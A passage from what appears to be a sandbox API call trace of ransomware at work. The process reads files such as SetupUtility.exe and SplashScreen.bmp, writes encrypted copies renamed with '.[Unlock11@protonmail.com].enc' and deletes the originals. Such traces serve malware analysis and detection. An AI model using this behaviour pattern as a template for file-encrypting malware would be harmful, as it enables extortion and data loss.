GetLastError () returned 0x0 [0113.697] GetLastError () returned 0x0 [0113.697] GetLastError () returned 0x0 [0113.697] GetLastError () returned 0x0 [0113.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0113.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32ab9b0 [0113.697] GetLastError () returned 0x0 [0113.698] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.698] GetFileType (hFile=0x39c) returned 0x1 [0113.698] GetLastError () returned 0x0 [0113.698] GetCurrentThreadId () returned 0x9b0 [0113.698] GetLastError () returned 0x0 [0113.698] GetFileType (hFile=0x39c) returned 0x1 [0113.698] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.698] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.698] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.698] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.698] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.699] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.699] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.699] GetLastError () returned 0x0 [0113.699] GetCurrentThreadId () returned 0x9b0 [0113.699] GetLastError () returned 0x0 [0113.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0113.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0113.699] GetLastError () returned 0x0 [0113.699] GetLastError () returned 0x0 [0113.699] GetLastError () returned 0x0 [0113.699] GetLastError () returned 0x0 [0113.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32ab9b0 [0113.700] GetLastError () returned 0x0 [0113.700] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0113.700] GetFileType (hFile=0x3ac) returned 0x1 [0113.700] GetLastError () returned 0x0 [0113.700] GetCurrentThreadId () returned 0x9b0 [0113.700] GetLastError () returned 0x0 [0113.700] GetFileType (hFile=0x3ac) returned 0x1 [0113.700] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.701] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.701] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.701] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.701] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.701] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.701] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.701] GetLastError () returned 0x0 [0113.701] GetCurrentThreadId () returned 0x9b0 [0113.701] GetLastError () returned 0x0 [0113.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0113.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db800 | out: hHeap=0x2ad0000) returned 1 [0113.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0113.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.701] GetLastError () returned 0x0 [0113.702] GetLastError () returned 0x0 [0113.702] GetCurrentThreadId () returned 0x9b0 [0113.702] GetLastError () returned 0x0 [0113.702] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0113.702] GetLastError () returned 0x0 [0113.702] GetLastError () returned 0x0 [0113.702] GetCurrentThreadId () returned 0x9b0 [0113.702] GetLastError () returned 0x0 [0113.702] GetLastError () returned 0x0 [0113.704] GetLastError () returned 0x0 [0113.705] GetCurrentThreadId () returned 0x9b0 [0113.705] GetLastError () returned 0x0 [0113.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48f8 | out: hHeap=0x2ad0000) returned 1 [0113.705] GetCurrentThreadId () returned 0x9b0 [0113.705] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.705] GetLastError () returned 0x0 [0113.705] GetLastError () returned 0x0 [0113.705] GetLastError () returned 0x0 [0113.705] GetLastError () returned 0x0 [0113.706] GetCurrentThreadId () returned 0x9b0 [0113.706] GetLastError () returned 0x0 [0113.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0113.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0113.706] GetLastError () returned 0x0 [0113.708] GetLastError () returned 0x0 [0113.708] GetCurrentThreadId () returned 0x9b0 [0113.708] GetLastError () returned 0x0 [0113.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.708] GetLastError () returned 0x0 [0113.708] GetLastError () returned 0x0 [0113.709] GetCurrentThreadId () returned 0x9b0 [0113.709] GetLastError () returned 0x0 [0113.709] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x776d) returned 0x36f8548 [0113.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.709] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x7775) returned 0x36f8548 [0113.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab48f8 [0113.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0113.709] GetCurrentThreadId () returned 0x9b0 [0113.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x7778) returned 0x3887a10 [0113.709] GetLastError () returned 0x0 [0113.709] GetLastError () returned 0x0 [0113.709] GetLastError () returned 0x0 [0113.710] GetLastError () returned 0x0 [0113.710] GetCurrentThreadId () returned 0x9b0 [0113.710] GetLastError () returned 0x0 [0113.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0113.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0113.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0113.710] GetLastError () returned 0x0 [0113.711] GetLastError () returned 0x0 [0113.711] GetCurrentThreadId () returned 0x9b0 [0113.711] GetLastError () returned 0x0 [0113.711] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b89d8 | out: hHeap=0x2ad0000) returned 1 [0113.711] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0113.711] GetLastError () returned 0x0 [0113.711] GetLastError () returned 0x0 [0113.711] GetCurrentThreadId () returned 0x9b0 [0113.711] GetLastError () returned 0x0 [0113.711] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.711] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.712] GetLastError () returned 0x0 [0113.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0113.712] CloseHandle (hObject=0x3ac) returned 1 [0113.712] GetLastError () returned 0x0 [0113.712] GetCurrentThreadId () returned 0x9b0 [0113.712] GetLastError () returned 0x0 [0113.712] GetLastError () returned 0x0 [0113.712] CloseHandle (hObject=0x39c) returned 1 [0113.713] GetLastError () returned 0x0 [0113.713] GetCurrentThreadId () returned 0x9b0 [0113.713] GetLastError () returned 0x0 [0113.713] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 1 [0113.714] GetCurrentThreadId () returned 0x9b0 [0113.714] GetCurrentThreadId () returned 0x9b0 [0113.715] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\SplashScreen.bmp", lpFilePart=0x9bada4*="SplashScreen.bmp") returned 0x26 [0113.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0113.715] GetCurrentThreadId () returned 0x9b0 [0113.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0113.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0113.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0113.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ced0 [0113.715] GetCurrentThreadId () returned 0x9b0 [0113.715] GetCurrentThreadId () returned 0x9b0 [0113.715] GetCurrentThreadId () returned 0x9b0 [0113.715] GetCurrentThreadId () returned 0x9b0 [0113.716] GetCurrentThreadId () returned 0x9b0 [0113.716] GetCurrentThreadId () returned 0x9b0 [0113.716] GetCurrentThreadId () returned 0x9b0 [0113.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a728 | out: hHeap=0x2ad0000) returned 1 [0113.716] GetCurrentThreadId () returned 0x9b0 [0113.716] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078)) returned 1 [0113.716] GetCurrentThreadId () returned 0x9b0 [0113.716] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662e44 | out: pbBuffer=0x3662e44) returned 1 [0113.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0113.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0113.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0113.717] GetCurrentThreadId () returned 0x9b0 [0113.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf48 [0113.717] GetCurrentThreadId () returned 0x9b0 [0113.717] GetCurrentThreadId () returned 0x9b0 [0113.717] GetCurrentThreadId () returned 0x9b0 [0113.717] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.717] GetFileType (hFile=0x39c) returned 0x1 [0113.717] GetCurrentThreadId () returned 0x9b0 [0113.718] GetFileType (hFile=0x39c) returned 0x1 [0113.718] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.718] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.718] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.718] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.718] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.718] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.718] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.718] GetLastError () returned 0x0 [0113.718] GetCurrentThreadId () returned 0x9b0 [0113.718] GetLastError () returned 0x0 [0113.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0113.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffb8 | out: hHeap=0x2ad0000) returned 1 [0113.719] GetLastError () returned 0x0 [0113.719] GetLastError () returned 0x0 [0113.719] GetLastError () returned 0x0 [0113.719] GetLastError () returned 0x0 [0113.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0113.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de618 [0113.719] GetLastError () returned 0x0 [0113.719] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0113.719] GetFileType (hFile=0x3ac) returned 0x1 [0113.720] GetLastError () returned 0x0 [0113.720] GetCurrentThreadId () returned 0x9b0 [0113.720] GetLastError () returned 0x0 [0113.720] GetFileType (hFile=0x3ac) returned 0x1 [0113.720] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.720] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.720] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.720] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.720] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.720] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.720] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.720] GetLastError () returned 0x0 [0113.721] GetCurrentThreadId () returned 0x9b0 [0113.721] GetLastError () returned 0x0 [0113.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0113.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db5d0 | out: hHeap=0x2ad0000) returned 1 [0113.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0113.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0113.721] GetLastError () returned 0x0 [0113.721] GetLastError () returned 0x0 [0113.721] GetCurrentThreadId () returned 0x9b0 [0113.721] GetLastError () returned 0x0 [0113.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0113.721] GetLastError () returned 0x0 [0113.722] GetLastError () returned 0x0 [0113.722] GetCurrentThreadId () returned 0x9b0 [0113.722] GetLastError () returned 0x0 [0113.722] GetLastError () returned 0x0 [0113.726] GetLastError () returned 0x0 [0113.726] GetCurrentThreadId () returned 0x9b0 [0113.726] GetLastError () returned 0x0 [0113.726] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xa08d) returned 0x35c5908 [0113.726] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xa095) returned 0x35c5908 [0113.726] GetCurrentThreadId () returned 0x9b0 [0113.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de618 [0113.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0113.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa098) returned 0x3887a10 [0113.726] GetLastError () returned 0x0 [0113.727] GetLastError () returned 0x0 [0113.727] GetLastError () returned 0x0 [0113.727] GetLastError () returned 0x0 [0113.727] GetCurrentThreadId () returned 0x9b0 [0113.727] GetLastError () returned 0x0 [0113.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0113.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0113.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0113.727] GetLastError () returned 0x0 [0113.729] GetLastError () returned 0x0 [0113.729] GetCurrentThreadId () returned 0x9b0 [0113.729] GetLastError () returned 0x0 [0113.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b89d8 | out: hHeap=0x2ad0000) returned 1 [0113.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.729] GetLastError () returned 0x0 [0113.729] GetLastError () returned 0x0 [0113.729] GetCurrentThreadId () returned 0x9b0 [0113.729] GetLastError () returned 0x0 [0113.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.730] GetLastError () returned 0x0 [0113.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0113.730] CloseHandle (hObject=0x3ac) returned 1 [0113.730] GetLastError () returned 0x0 [0113.730] GetCurrentThreadId () returned 0x9b0 [0113.730] GetLastError () returned 0x0 [0113.730] GetLastError () returned 0x0 [0113.730] CloseHandle (hObject=0x39c) returned 1 [0113.731] GetLastError () returned 0x0 [0113.731] GetCurrentThreadId () returned 0x9b0 [0113.731] GetLastError () returned 0x0 [0113.731] GetLastError () returned 0x0 [0113.731] GetLastError () returned 0x0 [0113.731] GetLastError () returned 0x0 [0113.731] GetLastError () returned 0x0 [0113.731] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 1 [0113.732] GetLastError () returned 0x0 [0113.732] GetCurrentThreadId () returned 0x9b0 [0113.732] GetLastError () returned 0x0 [0113.733] GetCurrentThreadId () returned 0x9b0 [0113.733] GetLastError () returned 0x0 [0113.733] GetLastError () returned 0x0 [0113.733] GetLastError () returned 0x0 [0113.733] GetLastError () returned 0x0 [0113.733] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\sqmapi.dll", lpFilePart=0x9bada4*="sqmapi.dll") returned 0x20 [0113.733] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0113.733] GetCurrentThreadId () returned 0x9b0 [0113.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0113.733] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0113.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0113.733] GetLastError () returned 0x0 [0113.734] GetLastError () returned 0x0 [0113.734] GetLastError () returned 0x0 [0113.734] GetLastError () returned 0x0 [0113.734] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Strings.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Strings.xml", lpFilePart=0x9bada4*="Strings.xml") returned 0x21 [0113.734] GetCurrentThreadId () returned 0x9b0 [0113.734] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0113.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0113.734] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0113.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0113.734] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ccc8 [0113.734] GetLastError () returned 0x0 [0113.736] GetLastError () returned 0x0 [0113.736] GetLastError () returned 0x0 [0113.736] GetLastError () returned 0x0 [0113.736] GetCurrentThreadId () returned 0x9b0 [0113.736] GetLastError () returned 0x0 [0113.736] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ccc8 | out: hHeap=0x2ad0000) returned 1 [0113.736] GetCurrentThreadId () returned 0x9b0 [0113.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ccf0 [0113.736] GetLastError () returned 0x0 [0113.737] GetLastError () returned 0x0 [0113.737] GetLastError () returned 0x0 [0113.737] GetLastError () returned 0x0 [0113.737] GetCurrentThreadId () returned 0x9b0 [0113.737] GetLastError () returned 0x0 [0113.737] GetLastError () returned 0x0 [0113.737] GetLastError () returned 0x0 [0113.737] GetLastError () returned 0x0 [0113.737] GetLastError () returned 0x0 [0113.737] GetCurrentThreadId () returned 0x9b0 [0113.737] GetLastError () returned 0x0 [0113.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ccf0 | out: hHeap=0x2ad0000) returned 1 [0113.738] GetLastError () returned 0x0 [0113.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0113.738] GetLastError () returned 0x0 [0113.738] GetLastError () returned 0x0 [0113.738] GetLastError () returned 0x0 [0113.738] GetCurrentThreadId () returned 0x9b0 [0113.738] GetLastError () returned 0x0 [0113.738] GetCurrentThreadId () returned 0x9b0 [0113.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8aae8 [0113.738] GetLastError () returned 0x0 [0113.738] GetLastError () returned 0x0 [0113.738] GetLastError () returned 0x0 [0113.738] GetLastError () returned 0x0 [0113.739] GetCurrentThreadId () returned 0x9b0 [0113.739] GetLastError () returned 0x0 [0113.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aae8 | out: hHeap=0x2ad0000) returned 1 [0113.739] GetLastError () returned 0x0 [0113.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0113.739] GetLastError () returned 0x0 [0113.739] GetLastError () returned 0x0 [0113.739] GetLastError () returned 0x0 [0113.739] GetCurrentThreadId () returned 0x9b0 [0113.739] GetLastError () returned 0x0 [0113.739] GetLastError () returned 0x0 [0113.739] GetLastError () returned 0x0 [0113.740] GetLastError () returned 0x0 [0113.740] GetLastError () returned 0x0 [0113.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0113.740] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704)) returned 1 [0113.740] GetLastError () returned 0x0 [0113.740] GetCurrentThreadId () returned 0x9b0 [0113.740] GetLastError () returned 0x0 [0113.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0113.740] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662e1c | out: pbBuffer=0x3662e1c) returned 1 [0113.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0113.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0113.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0113.741] GetCurrentThreadId () returned 0x9b0 [0113.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf48 [0113.741] GetLastError () returned 0x0 [0113.741] GetLastError () returned 0x0 [0113.741] GetLastError () returned 0x0 [0113.741] GetLastError () returned 0x0 [0113.741] GetCurrentThreadId () returned 0x9b0 [0113.741] GetLastError () returned 0x0 [0113.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf48 | out: hHeap=0x2ad0000) returned 1 [0113.741] GetCurrentThreadId () returned 0x9b0 [0113.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cc78 [0113.742] GetLastError () returned 0x0 [0113.742] GetLastError () returned 0x0 [0113.742] GetLastError () returned 0x0 [0113.742] GetLastError 